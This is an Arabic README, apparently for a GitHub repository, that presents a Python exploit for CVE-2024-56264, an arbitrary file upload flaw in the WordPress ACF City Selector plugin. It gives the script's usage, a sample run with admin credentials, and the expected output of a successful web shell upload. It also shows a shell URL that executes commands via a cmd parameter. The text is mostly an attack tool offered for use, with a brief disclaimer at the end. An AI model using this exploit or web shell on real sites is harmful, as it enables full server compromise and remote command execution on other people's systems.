dpakmrya/cve-2024-56264استغلال Python لـ CVE-2024-56264، وهي ثغرة رفع ملفات عشوائية في إضافة WordPress ACF City Selector <=1.14.0، مما يتيح تنفيذ التعليمات البرمجية عن بُعد عبر رفع قشرة ويب.
يحتوي هذا المستودع على استغلال لـ CVE-2024-56264، وهي ثغرة رفع ملفات تعسفي موجودة في إضافة WordPress ACF City Selector (الإصدارات <= 1.14.0). تسمح هذه الثغرة للمهاجم برفع ملف PHP ضار (web shell) إلى موقع WordPress معرض للخطر وتنفيذ أوامر تعسفية على الخادم.
<= 1.14.0إضافة ACF City Selector تفشل في التحقق بشكل صحيح من الملفات المرفوعة، مما يسمح للمهاجمين بتجاوز القيود ورفع ملفات PHP تعسفية. بمجرد رفع ملف PHP ضار، يمكن للمهاجم تنفيذ أوامر النظام عن بعد، مما يؤدي إلى اختراق كامل للخادم.
تأكد من تثبيت ما يلي قبل تشغيل السكريبت:
requests (تثبت باستخدام: pip install requests)يمكنك تثبيت جميع التبعيات المطلوبة باستخدام:
pip install -r requirements.txt
تشغيل الاستغلال:
usage: CVE-2024-56264.py [-h] --url URL --username USERNAME --password PASSWORD
WordPress ACF City Selector plugin <= 1.14.0 - Arbitrary File Upload vulnerability
options:
-h, --help show this help message and exit
--url URL Website base URL (e.g., http://192.168.100.74/wordpress)
--username USERNAME WordPress username
--password PASSWORD WordPress password
python CVE-2024-56264.py --url http://192.168.100.74:888/wordpress --username admin --password admin
عند نجاح الاستغلال، يجب أن ترى:
[+] Detected plugin version: 1.14.0
[+] Vulnerable version detected! Proceeding with exploitation.
[+] Logged in successfully.
[+] Extracted nonce: abc1234
[+] Shell uploaded successfully: http://wordpress/wp-content/uploads/acfcs/q.php
في حالة النجاح، يمكن الوصول إلى الصدفة المرفوعة عبر:
http://wordpress/wp-content/uploads/acfcs/q.php?cmd=whoami
هذا يسمح بتنفيذ الأوامر عن بعد على الخادم.
هذا السكريبت مخصص فقط للأغراض التعليمية واختبار الأمان المصرح به. الاستخدام غير المصرح به غير قانوني وقد يؤدي إلى عواقب وخيمة. المؤلف غير مسؤول عن أي إساءة استخدام لهذا الاستغلال.